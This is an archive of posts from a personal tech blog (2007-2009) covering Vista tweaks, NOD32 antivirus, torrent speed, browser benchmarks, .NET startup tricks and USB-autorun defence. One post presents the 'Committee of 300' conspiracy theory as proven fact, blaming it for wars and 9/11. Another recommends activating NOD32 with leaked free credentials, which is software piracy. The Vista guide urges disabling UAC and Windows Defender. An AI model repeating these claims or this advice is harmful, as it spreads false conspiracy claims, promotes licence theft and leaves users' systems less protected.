HerrLucifer's Mind Factory

The Power of JQuery

2009-02-25T07:51:00.005Z

Yesterday I was just learning some stuff about jquery and playing around with it that I came with the follwing codes. The results were amazing for a simple html web page. What I did was something I could never do easily (or at all!) in Javscript.

Here is the link to the page. Just play with mouse over the DIvs.

I am now going to explore more of this amazing API...

How to Make Vista Run faster - In easy steps

2009-01-01T12:06:00.014Z

I Have installed and administrated Windows Vista on hundreds of machines so far and all I can say is that I wish Windows Vista had all my optimizations by default. The truth is that many users consider Vista slow because of the bloated and heavy visuals of Aero. What I have presented here is a series procedures you can take to make a Windows Vista machine run much faster than its default installation.

So read on:

1- Remove unnecessary start ups :

The more programs you install, the more time you will waste in Window start up. Unfortunately, many programs try to run while your OS is starting up, and this is a big burden for a smooth and fast start up operattion on your PC.

All you have to do is to type: "msconfig" in Start>Run and from the startup tab uncheck all those extra items that you don't consider as necessary. Among them you'd better avoid unchecking the items you see in this picture including your 3rd party anti virus .

2- Turn some visuals off:

Be true to your self, Do you like an animated slow environment with bells and whistels that swing around your head all the time or you prefer a fast simple operating Windows environment? If you want both, you better turn "Animate windows when minimizing and maximizing" and "fade or slide..." items off. They do nothing other than making your interaction with your system slower than ever and reduce your productivity.

3- Do a post-installation Defrag with PerfectDisk:

I bet you know how fast hard disk are today. However, even the fastest hard disk comes to a crash when it has to deal with millions of files hundreds of times a day. And the fragmentation here is the evil that can reduce you hard disk's performance and life time to a half. If you want a fast and really effective defragmentation, then you have to use PerfectDisk. Nothing beats this smart software in the way it does its job. You have to also do a boot time defragmentation to see your system performance increased.

4- Clean Temporary files and System Restores:

Removing temporary files will avoid systems errors when you install new programs. It also frees some disk space which actually makes your system defragmented much faster than before.

5- Disable indexing:

If you don't search for your lost documents frequently and have your files mostly spreaded on remote machines, or have the patience to wait a minute to find your lost documents, you can easily turn the Indexing Service off. This will be a great resource saver when you need to run heavy programs and games on Windows Vista.

6-Use NOD32 instead of Windows Defender:

Not only NOD32 performs better than Windows Defender, it also is the most successful antivirus in the world when it comes to finding zero day threaths. You can turn Windows Defender off by goining to: Start>Control Panel>Windows Defender>Options, and Turn all Windows defender options off.

7- Disable User Account Control:

I know you hate the infamous pop-up window that asks you if you really want to do something... and who doesn't! Not only it is a boring repeated procedure, but it also makes you think your system is very follish in determining who is behind a certain action. To get rid of it, Simply go to: StartUp>Control Panel> User Accounts Control>Turn UAC off /on Remember than you have to reboot your system for this procedure.

These 7 tips are what I perform after each Windows Vista installation, because I know that without them those tweaks my clients will-in less than one day or so-ask me for a clean re-install of Windows XP !

Windows 7 Screenshots leaked

2009-01-01T08:02:00.013Z

Windows 7 is the new successor for Microsoft Windows Vista and will hit the shelves by the end of 2009. Whether you liked Vista or not, Windows 7 will look and feel much like Vista and will be considered a modified version of it.

I hope this becomes a success story for Microsoft, because I am so tired of assembling a powerful PC for an Operating System that makes the worst usage of my expensive hardware.

Here is how Window 7 Ultimate looks like:

THE COMMITTEE OF 300 that rule our world!

2008-12-27T20:38:00.005Z

This post is not about software, it is a shocking fact and it is true!

Can you believe that our world is controlled by a group of 300 people called "THE COMMITTEE OF 300" ? Can you believe that "The Matrix" is true? Call it a lie, fake, or ignore it for your entire life time, but you will one day realize why and how world's biggest evens ( like World War 1 , 2 and the upcoming 3, 9-11 attacks, Iraq War, Credit Crunch and the Big world wide economic rrecession) ever happened and how they were of interest to those 300 Committee members that rule our planet and own almost %95 of the entire world's wealth.

"...A former intelligence agent of British MI6, rips the lid off the conspiratorial group which knows NO national boundaries, is ABOVE the law of ALL countries and controls every aspect of politics, commerce, religion, industry, banking, insurance, mining, and even the drug trade. Learn how this small elite group who are answerable to NO ONE, except its members, have pulled the strings on ALL major world events and why, until now, few people have even been aware of its existence, let alone power, in manipulating the affairs of the entire WORLD. All of these members are revealed, including all of the corporations, government agencies and various movements which "they" have developed and control to further their own aims for WORLD DOMINATION...'"

And more : 21 Goals of the Illuminati and The Committee of 300

NOD32 4.0 free download

2008-12-25T06:15:00.004Z

Now the fourth generation of Nod32 has come and ESET has so far proved that they offer the best solution for the war against malicious software. NOD32 is the only anti virus to offer full protection and compactness at the same time.

No need to talk more about it any more, all NOD32 users know how it performs against its rivals.

below you can download the current beta versions of version 4 of NOD32:

NOD32 4.0.68 Beta for Windows NT/2000/2003/XP - 64-bit

NOD32 4.0.68 Beta for Windows NT/2000/2003/XP - 32-bit

Detect Invisible Yahoo IDs - A Final Solution

2008-12-24T18:29:00.009Z

It is so bad to get down by trying hundreds of websites that claim to detect invisible Yahoo Ids that do nothing other than showing you fake random results or Ads to earn more and more money.

For those of you interested, I have some address which usually return authentic results. If you try multiple checks for a single ID, you will even get a more accurate result, cause these websites actually do something real there in behind, not just hosting ads for you!

http://www.persiangap.com

http://detectinvisible.com

http://hide.ir

2008-12-24T14:57:00.004Z

,, ,

Windows XP survival suite and fixes kit

2008-12-22T20:40:00.027Z

Like an experienced mechanic that carries his vital tools all around with himself, an IT professional will also take a kit of software and fixes for disastrous moments in his carrier life,for the time viruses destroy critical computer data by denying their access to their systems.

That said, over time, I have collected a series of fixes for common problems caused by malicious software and viruses to Windows Operating system. The kit that I have has fixes to the following errors in Windows XP/2000/2003 server:

1- Folder Options Disabled/Hidden:

This is a very famous bug caused by many Trojans and viruses to restrict user access to them. They do this to hide themselves from their victims.

2- Context menu on start disabled:

This means when you right click on the task bar, nothing happens. You can't launch Task Manager to see the harmful processes and shut them down.

3- Registry editing tools disabled:

They do this to avoid your access to the Windows registry when you typed "regedit" in Run.

4- Undeletable Viruses:

Chances are you have found the malicious file but can't delete, move, ... rename it, because it is locked.

5- Desktop context menu disabled:

This is a very disturbing bug caused by most viruses to avoid your access to advanced options.

6- Log off disabled on Start Menu in Win 98-95

7- You cannot run/execute any .exe file in Windows XP:

By far, this is a horrible case which leads many technicians to format and reinstall their Windows OS and waste hours of their previous time. No need to reinstall you system; the fix to this is very simple, which is also included in the kit.

Now, you can download the Kit from here for free: (Which will be updated over time...)

http://herrluciferz.googlepages.com/WinXPSurvivalKit.zip

For IT professional and those in charge of numerous systems:

You should own a suit of powerful utilities provided by SysInternals, that will help you dive into the depths of Windows OS and fight malicious software from there. This suit includes:

- AccessEnum

-Autologon

-Autoruns

-DiskMon

-DiskView

-Filemon

-PageDefrag

-PortMon

-ProcessExplorer

-PsTools ( a collection of other useful tools)

-Regjump

-Regmon

-RootkitRevealer

-TcpView

Download these useful utilities (4 MB):

http://herrluciferz.googlepages.com/SysInternals.zip

Screenshot saver and capturer - Free for Gamers

2008-12-22T20:39:00.014Z

For those of you that play games a lot and like to save your high quality wonderful screenshots all the way throughout your gaming, I have provided a simple lightweight utility that will save your screenshots with the least effort to your selected folder.

I wrote this application when I was playing GTA Vice City and felt disturbed by minimizing my game and pasting the screenshot manually in Paint multiple times ....

Just start this small application, select your destination folder to save your pictures and play your game. Just press "print screen" and there you go!

Download it from here: http://herrluciferz.googlepages.com/ScreenShotSaver.zip

(Requires .Net framework 2.0)

Google Chrome Download and Themes

2008-09-04T14:41:00.009Z

Google Chrome is a brand new web browser, and among other rivals out there it has gathered loads of attention due to Google's popularity. That being said, the rush of users to its download URL made it unavailable for some people.

You can download a copy from here:

http://herrluciferz.googlepages.com/GoogleChrome.rar

Google chrome start up time is much much faster than Firefox, and it has an elegant Google-type user interface (everything is smooth like that of Picasa .) It opens each tab in a separate process (good point - more stability) and has an address bar that mimics the Awesomebar of Firefox 3.0 .

All in all, I guess this is a perfect start for Google in the browsers world (though not knowing how long Chrome had been under coding), and it shows Google's power in mixing ideas with technologies for changing the way people use the web.

You can also download Google Chrome Themes from:

http://www.freechromethemes.com/

Update NOD32 Offline

2008-08-15T16:51:00.013Z

After visiting many torrent websites for finding updates for my NOD32 2.7, I found nothing another than failed tries and malwares/viruses packed as NOD32, and loads of time wasted. Good thing I always test these suspicious downloads on a Virtual Machine, and everything returns to the first clean day by a simple hard disk file replacement.

That said, from July 27, 2008 I noticed my NOD 2.7 does no longer update.

I thought NOD32 servers were unavailable. They always said: "Your antivirus is up-to-date. No update necessary."
I know this message. It is a polite way of saying: "You can no longer update your antivirus.... Go and pay for your new subscription...."

This time I searched Google for all the things I knew.... from NOD321.com to the pirated version of NOD 3.x on torrent websites. None of them worked.

After a while I found this fantastic blog: http://aalaap.blogspot.com/2007/09/manually-update-eset-nod32-offline.html

It guides you to burn NOD32 update files onto a CD/DVD and then manually update your anti-virus; Just download the latest update files from http://rapidshare.com/users/12TMR5 , use a program like "ISO Commander"" or "Ultra ISO" to create an image file. Then load that ISO image with Daemon tools. Now you are ready to update your NOD32:
In NOD32, Go to Update &; Setup and set the update location as your loaded drive...

My NOD32 is updated again, and I am happy that my computer is safe. This will also help me in the office to simply use a CD/DVD and update all offline nod32s on all machines without Internet connections.
Many thanks to "Aalaap Ghag" for his tips...

Torrent Speed Up Tips and Tricks

2008-08-12T13:13:00.018Z

Are you struggling with a slow torrent client? Then read this:

I recently decided to install uTorrent on my computer, which is connected to the Internet through a wireless router. The first thing that bothered me about uTorrent and also Bit Torrent was their X-tremly low download speed. With a 512 Kb/s connection, I could only reach 40-80 Kb/s downloads, and it would take me ages to see a torrent starting its download.
I went through many torrent speed up guides on multiple web sites. They were all about turning things off in uTorrent, such as "DHT network" or "local peer discovery". These guides were more baffling than useful. They usually led me into spending hours playing around with uTorrent and not getting any useful results.

And the solution:
That was when I noticed the yeloow warning sign at the bottom of my torrent client, which said I had a problem with my network configuration.
I referred to http://www.utorrent.com/testport.php?port=55550 to test port forwarding on port 55550 of my XP machine . Unfortunately , port forwarding was disabled for me. How could I turn it on?

Then this useful website came into play to help me: http://www.portforward.com/
My wireless router is a D-Link DSL-2540T . I then tried to map my port in the router using the guides provided on portforward.com and I finally passed the port forwarding test.
Tip #1:
What many users don't notice is that, for proper port forwarding, you will need a "Static IP Address". This IP address is the one given to you by your internal network router. So, configuring it is very easy from the inside of your operating system.
I went again to http://www.utorrent.com/testport.php?port=55550 and that port was forwarded properly. Then I set the same port in uTorrent and restarted uTorrent . After some minutes my download speed was going as fast as 340-400 Kb/s !

Remember that "port forwarding" is the single most important step that you should take for speeding up your torrent client's download speed. Don't be fooled by disabling DHT network or Local peer discovery and things like that. Exception is, try to disable UPnP port mapping on both your router and your torrent client.
Tip #2:
Never disable network upload in uTorrent. The rule is that: You have to give in order to get. So, this is an important step.
Below you can see a graph of uTorrent's Download/Upload speed ratio. Notice how download speed increases as upload and the other way round:

Right now it takes seconds for my uTorrent to find other peers and after some minutes it reaches a highly respectable download speed.

I am really really enjoying uTorrent right now, it is almost a new world and how I missed it all these years... hope you enjoy it too! ;)

What is the fastest web browser ?

2008-04-03T15:33:00.005Z

So far, browsers war has led giant companies behind web browsers (like Safari) to tell numerous white lies to end users. Is it Safari or Opera as the fastest web browsers on the planet?

You can test those browsers on your own and against your customised test environment. The tests must all run under the same platform. So far, Firefox 3 Beta 5 is the fastest browser available (at the time of writing this article). It is like 2.2 times faster than Opera 9.5 and 3 times faster than Safari 3.0.4. in JavaScript performance. (sorry I don't even count Internet Explorer!)

Below you can see the tests result on my computer: (http://webkit.org/perf/sunspider-0.9/sunspider-driver.html)
Here is my environment:

Windows XP SP2 Pro
Intel Core 2 Duo E6750
2GB RAM DDR2 800
320BG HDD Hitachi Sata 2 16MB buffer

*****************************************************************
Broswer: Mozilla Firefox 3 beta 5:

RESULTS (means and 95% confidence intervals)
--------------------------------------------
Total: 2511.4ms +/- 0.6%
--------------------------------------------

3d: 293.4ms +/- 1.1%
cube: 108.0ms +/- 1.2%
morph: 86.8ms +/- 2.8%
raytrace: 98.6ms +/- 1.4%

access: 402.8ms +/- 3.0%
binary-trees: 35.6ms +/- 5.3%
fannkuch: 198.6ms +/- 5.4%
nbody: 118.8ms +/- 2.6%
nsieve: 49.8ms +/- 2.1%

bitops: 278.2ms +/- 0.4%
3bit-bits-in-byte: 55.4ms +/- 1.2%
bits-in-byte: 74.4ms +/- 0.9%
bitwise-and: 63.8ms +/- 1.6%
nsieve-bits: 84.6ms +/- 0.8%

controlflow: 34.0ms +/- 2.6%
recursive: 34.0ms +/- 2.6%

crypto: 167.4ms +/- 0.4%
aes: 66.8ms +/- 0.8%
md5: 47.6ms +/- 1.4%
sha1: 53.0ms +/- 0.0%

date: 205.6ms +/- 1.2%
format-tofte: 129.6ms +/- 1.6%
format-xparb: 76.0ms +/- 2.3%

math: 306.0ms +/- 2.3%
cordic: 151.0ms +/- 1.0%
partial-sums: 99.4ms +/- 5.1%
spectral-norm: 55.6ms +/- 2.5%

regexp: 203.2ms +/- 5.0%
dna: 203.2ms +/- 5.0%

string: 620.8ms +/- 2.3%
base64: 68.6ms +/- 1.0%
fasta: 138.4ms +/- 1.4%
tagcloud: 110.6ms +/- 1.3%
unpack-code: 225.6ms +/- 5.5%
validate-input: 77.6ms +/- 1.4%

************************************************

Browser: Opera 9.5
============================================
RESULTS (means and 95% confidence intervals)
--------------------------------------------
Total: 5581.4ms +/- 1.8%
--------------------------------------------

3d: 462.8ms +/- 3.7%
cube: 140.4ms +/- 0.5%
morph: 178.4ms +/- 6.1%
raytrace: 144.0ms +/- 5.8%

access: 671.4ms +/- 2.2%
binary-trees: 53.0ms +/- 20.4%
fannkuch: 312.2ms +/- 0.2%
nbody: 168.8ms +/- 5.3%
nsieve: 137.4ms +/- 6.3%

bitops: 702.6ms +/- 1.9%
3bit-bits-in-byte: 59.2ms +/- 14.4%
bits-in-byte: 96.6ms +/- 8.9%
bitwise-and: 375.0ms +/- 5.1%
nsieve-bits: 171.8ms +/- 0.3%

controlflow: 53.0ms +/- 19.3%
recursive: 53.0ms +/- 19.3%

crypto: 193.8ms +/- 5.7%
aes: 128.2ms +/- 6.9%
md5: 0.0ms +/- -NaN%
sha1: 65.6ms +/- 13.2%

date: 647.0ms +/- 1.7%
format-tofte: 234.6ms +/- 0.3%
format-xparb: 412.4ms +/- 2.5%

math: 406.4ms +/- 4.6%
cordic: 178.2ms +/- 5.9%
partial-sums: 150.0ms +/- 6.8%
spectral-norm: 78.2ms +/- 0.7%

regexp: 669.0ms +/- 1.2%
dna: 669.0ms +/- 1.2%

string: 1775.4ms +/- 5.4%
base64: 118.6ms +/- 21.9%
fasta: 350.2ms +/- 6.4%
tagcloud: 312.8ms +/- 0.2%
unpack-code: 859.2ms +/- 7.7%
validate-input: 134.6ms +/- 8.1%
********************************************************

Browser: Safari 3.0.4
============================================
RESULTS (means and 95% confidence intervals)
--------------------------------------------
Total: 7099.0ms +/- 0.5%
--------------------------------------------

3d: 965.6ms +/- 2.1%
cube: 306.0ms +/- 3.5%
morph: 378.2ms +/- 4.2%
raytrace: 281.4ms +/- 0.2%

access: 1368.8ms +/- 0.8%
binary-trees: 115.6ms +/- 9.2%
fannkuch: 625.0ms +/- 2.3%
nbody: 281.4ms +/- 0.2%
nsieve: 346.8ms +/- 2.7%

bitops: 1284.4ms +/- 1.3%
3bit-bits-in-byte: 247.0ms +/- 3.4%
bits-in-byte: 340.6ms +/- 2.6%
bitwise-and: 281.4ms +/- 0.2%
nsieve-bits: 415.4ms +/- 2.6%

controlflow: 162.4ms +/- 6.7%
recursive: 162.4ms +/- 6.7%

crypto: 665.6ms +/- 1.5%
aes: 184.2ms +/- 5.0%
md5: 237.6ms +/- 3.6%
sha1: 243.8ms +/- 4.3%

date: 450.4ms +/- 1.8%
format-tofte: 203.4ms +/- 0.3%
format-xparb: 247.0ms +/- 3.4%

math: 903.0ms +/- 1.0%
cordic: 512.4ms +/- 1.7%
partial-sums: 203.2ms +/- 0.3%
spectral-norm: 187.4ms +/- 0.4%

regexp: 290.6ms +/- 3.7%
dna: 290.6ms +/- 3.7%

string: 1008.2ms +/- 1.7%
base64: 227.6ms +/- 4.8%
fasta: 250.0ms +/- 0.0%
tagcloud: 177.8ms +/- 5.9%
unpack-code: 156.0ms +/- 0.0%
validate-input: 196.8ms +/- 5.4%

---------------------------------------

.NET Framework 3.5 Installation and setup Error

2008-01-29T06:31:00.005Z

For the last couple of days I have been looking for Visual Studio 2008 throughout the market. I finally got my copy and installed it on three separate machines,two of which were running Windows XP Pro SP2 and one hosting Windows Vista ultimate.

The program was successfully installed on two machines, but I encountered a lot of problems installing Visual Studio 2008 on the third, which was running Windows XP. The setup would simply freeze during installation of dot net framework 3.5 and I couldn't even quit or cancel it. Then, I had to manually restart the computer and try again. The machine had VS 2005 with IIS 5.5 and SQL server 2005 previously installed on it. I simply looked through many MSDN forums for fixes to this, but everything i found was quite puzzling. I had installed VS 2008 successfully on the first computer which was also running VS 2005, IIS 5.5 and SQL Express 2005, but it would not work on the third machine. I have also heard that this is a widespread bug with .net framework 3.5 installation.

What I finally did was this:
1- Uninstalled IIS and all SQL 2005 instances from my computer.
2- Uninstalled .Net Framework 2 from my machine.
3- Restarted Windows

After that, I ran the .net framework 3.5 setup manually. It took a while for it to run and progress, but finally the procedure was successful on this last system.
Although i succeeded, i still don't know the real cause of this setup problem, though i guess the main thing revolves around permissions for modifying previous instances of .Net framework by the setup file. I hope my solutions work for others too, thought MS seriously needs to release a fix to this widespread problem that comes with their Visual Studio 2008 product.

NOD32 2.7 Update Issue Resolved

2008-01-13T20:31:00.006Z

For quite a long time I couldn't update my NOD 32 at all. Today I found a web page just by chance that was full of free user names and passwords for a full version of NOD 32 2.7. And well, what it had worked. Just click "update to full version" in your NOD32 2.7 or NOD32 3.0 and then when prompted, enter one of those user names and passwords given to you in http://www.nod321.com/, then you will see how life change for you.

Enjoy your full version NOD32 now, and never lose a virus in the wild!

How to disable autorun in Windows XP for Flash Disks

2008-01-08T20:32:00.007Z

I well remember good old days when the technical staff in school's computer department did not allow any floppy disks to be inserted into any computers. Floppy disks are simply dead now, and so are the viruses that were spread via them.

These days most people carry flash disks all around with themselves, and now is the best time for many worms and viruses to spread with them. How?

Most viruses and worms simply take advantage of a weak point in Window XP operating system, which is its automatic execution of auto run files for removable devices (and also all fixed drives).

-Immune your Flash Disks:

When you insert a flash disk onto a computer, Windows XP looks for a file called autorun.inf which includes the path for Windows to execute the malicious virus in your disk. Your system is simply infected with the virus then. If you are lucky and have an updated anti virus, you might get the chance of killing the nasty program before its execution. However, in many occasions, this is not the case.

And here is a trick:
1- Delete the autorun.inf file in your flash disk
2- Create a folder and rename it to "autorun.inf" (without the " marks)
3- Set the folder's attributes to read only and archive/hidden
4- Create a file and rename it to "Recycler" (without the " marks)

Poor nasty viruses and Trojans can not longer copy themselves to your disk. This is a good starting step in sterilizing your work place from infected flash disks.

Here is more information on what most worms and viruses do:

1- They first create a registry entry in "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" so they are executed the next time your start Windows.
2- They might create autorun.ini files under all fixed drives and copy themselves so they are executed automatically by Windows even if you reinstall your operating system (This is what Win32/Malas.B - Bindo.worm does)
3- They hide themselves and copy themselves into many system folders with various tricky names, like svchost.exe, OfficeUpdate.exe and many other names.
4- They disable folder options in Windows by modifying "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" Nofolderoptions to 1. This also takes advantage of a feature in Windows XP which hides extensions for known files. You open a folder in Windows, while you have actually executed a virus which has changed its icon and name (Like "New Folder.exe" virus)
5- They can also disable Window XP system restore, so you might never get the chance of going to the point where your system was clean.

Some other viruses also disable task bar (no task manager access), registry access, and also use other tricks to just lock you away from your system.

So, be careful with flash disks. Be careful with Windows XP's auto run feature, and remember that your system gets infected in a blink of an eye, and you might lose your golden time with a simple mistake.

This is our case currently in the office and I am so wasted these days with flash disk viruses... :(

NOD32 2.7 Update Issue

2008-01-08T05:49:00.004Z

For some clear reasons, many Windows users have switched to this extra fast and lightweight anti-virus. NOD32 is truly the fastest and the best anti virus suit available right now (mainly because its kernel is written in assembly as ESET has mentioned in their website.)

However, they offer no virus DAT signature file as a single download, so you have to update NOD32 for each single machine by connecting to the web or an update server. Recently I reinstalled my NOD32 2.7 and tried to update it. The shocking thing was that my virus signature was 5 months old but the application keeps saying "Your version of NOD32 is up to date"!

The application seems to have major problems finding the proper update server. So I manually switched to an update server which had only ip address. This solved my update issue and the application was updated immediately.

This is a known issue with NOD32, If your automatic update doesn't work, try reclicking the update button as much as you can. It seems stupid, but it has worked for me many times. Seems like it takes a while for NOD32 update functions to detect the online update servers and connect to them.

The Eleven Rules of Life - not by Bill Gates!

2007-09-07T21:34:00.007Z

A list of eleven things you did not learn in school, directed at high school and college grads:

(An excerpt from the book "Dumbing Down our Kids" by educator Charles Sykes)

RULE 1
Life is not fair - get used to it.

RULE 2
The world won't care about your self-esteem. The world
will expect you to accomplish something BEFORE you feel
good about yourself.

RULE 3
You will NOT make 40 thousand dollars a year right out
of high school. You won't be a vice president with
car phone, until you earn both.

RULE 4
If you think your teacher is tough, wait till you get a
boss. He doesn't have tenure.

RULE 5
Flipping burgers is not beneath your dignity. Your
grandparents had a different word for burger flipping
they called it Opportunity.

RULE 6
If you mess up, it's not your parents' fault, so don't
whine about your mistakes, learn from them.

RULE 7
Before you were born, your parents weren't as boring as
they are now. They got that way from paying your bills,
cleaning your clothes and listening to you talk about
how cool you are. So before you save the rain forest
from the parasites of your parent's generation, try
delousing the closet in your own room.

RULE 8
Your school may have done away with winners and losers,
but life has not. In some schools they have abolished
failing grades and they'll give you as many times as
you want to get the right answer. This doesn't bear the
slightest resemblance to ANYTHING in real life.

RULE 9
Life is not divided into semesters. You don't get
summers off and very few employers are interested in
helping you find yourself. Do that on your own time.

RULE 10
Television is NOT real life. In real life people
actually have to leave the coffee shop and go to jobs.

RULE 11
Be nice to nerds. Chances are you'll end up working for
one.

Faster .Net applications startup - Tips and Tricks

2007-08-11T22:19:00.007Z

Intro:

There is this dim end user expectation, which says: "I want to launch my application and see its first user interface as soon as I double click on its icon in my Windows system".

For Native Win32 GUI applications, this is the way it has been for many years (except for very large applications that need to load hundreds of libraries...), but for .Net forms, this might be a developer's nightmare.

You design your Form, add some controls to it. Then run the application. Well, you become disappointed when you see that even on fastest machines the whole process of controls painting themselves into view is visible to the user's eyes with flickers. This is a certain drawback for your application. It makes you and the end user to think that .Net GUI applications are just bloated, heavy and useless.

Good news is that it is not like that at all. There are certain tricks in any development environment and language that improves application performance by orders of magnitude.

For me, I have used 3 simple tricks to get that speed:

1- Use Delayed Initialization:

You want your managed application to come into view just as fast as a native application does. But it is not like that in most managed cases. Although for an empty form in most cases "it is". So, what I do is to avoid the CPU and RAM overhead caused by initialization of controls at the start-up time for my application.

By default, Visual Studio inserts the "InitializeComponent();" call in the constructor for each form. If your form is going to be the start-up form (Main Form), this method will really have an impact on its display delay.

As a matter of fact, we can remove this call and insert it somewhere so that the main form wont delay its display because of this method call. I have done this in "Application.Idle" event.

So, instead of this code:

//.................................

public Form1()
{
InitializeComponent();

}

//...............................

I use this code for faster start up:

public Form1()
{
/* Preventing a very ugly fact of Managed applications, and that is
avoiding the user from seeing the controls (TextBox, Labels,...) painting themselves and their backgrounds when we run applications:

this.Text = "Initializing...";

this.Size = new Size(687, 406); /* We do this to avoid form's resizing upon its initialization. */

Application.Idle += new EventHandler(Application_Idle);

}

bool isInitilized = false;
void Application_Idle(object sender, EventArgs e)
{
if (isInitilized)
return;

/* Even avoiding this method call in the application start up will be great! */

Application.EnableVisualStyles();

// Now is the time to initialize all components.

InitializeComponent();

// Avoid re-initialization:

isInitilized = true;
}

//-----------------------------------------

This simple trick will really boost the start-up time and display of your application even in cold start up scenarios. It might not always work, but in most cases it is just a matter of cutting and pasting some start up codes.

2- Use Ngen.exe

This is going to really help. I try to use it in most of my release assemblies and combined with tip #1, it makes your application to perform almost like its native equivalents.

3- Use a splash screen:

Finally, if your application is so heavy and bloated that you cannot avoid displaying its first form without performing heavy disk, network, or databases I/O operations, then try using a very lightweight splash form generated from a separate thread.

Do never forget that the main idea of how your application performs lies in the way your main first forms show up on the screen after a user execution of your software. For many, just a fast start-up application means a fast application overall, like Paint.net .

Hope this article has helped you a little in your .Net application development.

Download sample assemblies...

Why Firefox is the best browser?

2007-07-11T10:20:00.004Z

Firefox browser from Mozilla organization has been out for about four years and till now many have downloaded and used it and actually loved it. I remember the time first i read about Firefox, and the first thing i said was "come on! it is just another Opera!". However news and ads all talked about a new open source browser that could just put people away from the insecure IE for a while. Finally i downloaded Firefox ver. 1.1 and loved it. Wow! what a speed! The time that took IE to load a web page Firefox would load 3-4 pages and under the same connection speed. And you know, i never went back to IE again. It is four years i am using Firefox and i just can't think of web without it.

Let see what things we have in Firefox that we miss in IE 6.0:

1- Tabbed Browsing:

Are you just crazy about those many IE windows that have just opened and messed up your taskbar? Then you really miss tabbed browsing.
In Firefox, you can open each link in a new tab and all tabs work under the same browser window. You can organize tabs, rearrange them and just close them if you want.

2 - Find & Replace is so cool:

The new find and replace just at the bottom of your browser window will be the greatest tool you might need while browsing pages with so many sub items and text. Just like Google tool-bar, you can type and as you type Firefox highlights matching text in your browser.

3- Zoom in/Out

You can now easily zoom in/out and increase the text size by simply using Ctrl++ or Ctrl-- on a web page:

4- Session Management:

A big addition to a browser and you all miss this in IE. Session manager simply saves the state of the open tabs, their URL s and the cursor position in each page. Shocked with a power outrage? Computer shutdown? or anything else that has just crashed your browser? No need to worry! The next time you launch Firefox, you will be able to restore your previous crashed session and navigate to the place you were browsing before the crash happened.
You can also manually save sessions and later open them in your browser.

5- Auto update:

I know. IE just look and works the same even after 7 years since it was first released on Windows XP! And you are just tired of it.
Remember, Firefox is an open source browser and it is secure because all new flaws and bugs are fixed in less than a weak and is updated frequently.

The browser has a self-update feature that looks like this :

6- Add-on manager:

Yes, you have it in IE, but Firefox is just different. You can add "add-ons" to this browser from an online resource of more than 2000 items. And they are easily downloaded, installed and automatically updated from within the browser. Besides, if you don't like an add-on, you can easily disable or uninstall it from the inside of the add-ons manager.

7- Themes!

Want to add a new look and feel to your Firefox? Want your browser look like IE 7? Just download from an online resource of more than 1000 themes and change the entire look of your browser within seconds!

8- Tab mix plus ( a powerfully add-on):

Firefox has built in support for tabbed browsing. However, if you are not content with the default tab handling, you can download Tab mix plus and let this powerful extension handle everything in your browser.

Tab Mix Plus has support for session handling too and you can choose among many of its features just for free.

9- Built-in RSS support

We know that we miss this in IE. With Firefox built in RSS support, you can just subscribe to an atom feed and have updated bookmarks in your browser second by second.

10- Security:

I don't want to talk a lot about it. However, Firefox is a winner here. Unlike IE, Firefox is not integrated with your operating system, which means harmful add-ons cannot do anything to your operating system or do harmful I/O disk operations. We see also some phishing support and the ability of browser in handling your login information with an acceptable level of security.

11- Privacy protection:

This one is just the feature i really like and use a lot. You have visited just those private websites today, and don't want anyone else know about it? Well, if you have done it with IE, then you cannot do anything about it. Deleting history and Files and cookies wont do so much. Others can just find out a cash of your website on your hard disk easily!

Firefox has a new approach to this. The "Clear Private Data" section will shred just all those bad pieces of data you want to lose, simply by click of a button:

12- Clipmarks integration:

Clipmarks is a new evolution in web clipping. And with Firefox you will really enjoy its integration because of the speed and flexibility of this extension.

You can simply select sections of web pages you like, they are marked with a green rectangle on them as clipped.

And then you can save, blog or email the web parts you have selected very easily:

Just clicking the "Post to Blog" will do all the thing you would need for blogging. This really saves you time and money and is a big challenge for other browsers.

And Firefox is not just what i said here. You have to discover it yourself and feel how the web looks different with this great open-source browser from Mozilla.org

Ajax

2007-07-06T15:33:00.003Z

clipped from developer.mozilla.org

AJAX:Getting Started

From MDC

Main Page > AJAX > Getting Started

This article guides you through the AJAX basics and gives you two simple hands-on examples to get you started.

[hide]

[edit] What's AJAX?

Ajax stands for Asynchronous JavaScript and XML. In a nutshell, it is the use of the nonstandard XMLHttpRequest object to communicate with server-side scripts. It can send as well as receive information in a variety of formats, including XML, HTML, and even text files. Ajax's most appealing characteristic, however, is its "asynchronous" nature, which means it can do all of this without having to refresh the page. This allows you to update portions of a page based upon user events.

The two features in question are that you can:

Make requests to the server without reloading the page
Parse and work with XML documents

[edit] Step 1 – say "Please!" or How to Make an HTTP Request

In order to make an HTTP request to the server using JavaScript, you need an instance of a class that provides this functionality. Such a class was originally introduced in Internet Explorer as an ActiveX object, called XMLHTTP. Then Mozilla, Safari and other browsers followed, implementing an XMLHttpRequest class that supports the methods and properties of Microsoft's original ActiveX object.

As a result, in order to create a cross-browser instance (object) of the required class, you can do:

var httpRequest; if (window.XMLHttpRequest) { // Mozilla, Safari, ...     httpRequest = new XMLHttpRequest(); } else if (window.ActiveXObject) { // IE     httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }

(For illustration purposes, the above is a bit simplified version of the code to be used for creating an XMLHTTP instance. For a more real-life example, see step 3 of this article.)

Some versions of some Mozilla browsers won't work properly if the response from the server doesn't have an XML mime-type header. To satisfy this, you can use an extra method call to override the header sent by the server, just in case it's not text/xml.

httpRequest = new XMLHttpRequest(); httpRequest.overrideMimeType('text/xml');

Next, you need to decide what you want to do after you receive the server response to your request. At this stage, you just need to tell the HTTP request object which JavaScript function will do the work of processing the response. This is done by setting the onreadystatechange property of the object to the name of the JavaScript function you plan to use, like this:

httpRequest.onreadystatechange = nameOfTheFunction;

Note that there are no brackets after the function name and no parameters passed, because you're simply assigning a reference to the function, rather than actually calling it. Also, instead of giving a function name, you can use the JavaScript technique of defining functions on the fly (called "anonymous function") and define the actions that will process the response right away, like this:

httpRequest.onreadystatechange = function(){     // do the thing };

Next, after you've declared what will happen as soon as you receive the response, you need to actually make the request. You need to call the open() and send() methods of the HTTP request class, like this:

httpRequest.open('GET', 'http://www.example.org/some.file', true); httpRequest.send(null);

The first parameter of the call to open() is the HTTP request method – GET, POST, HEAD or any other method you want to use and that is supported by your server. Keep the method capitalized as per the HTTP standard; otherwise some browsers (like Firefox) might not process the request. For more information on the possible HTTP request methods you can check the W3C specs
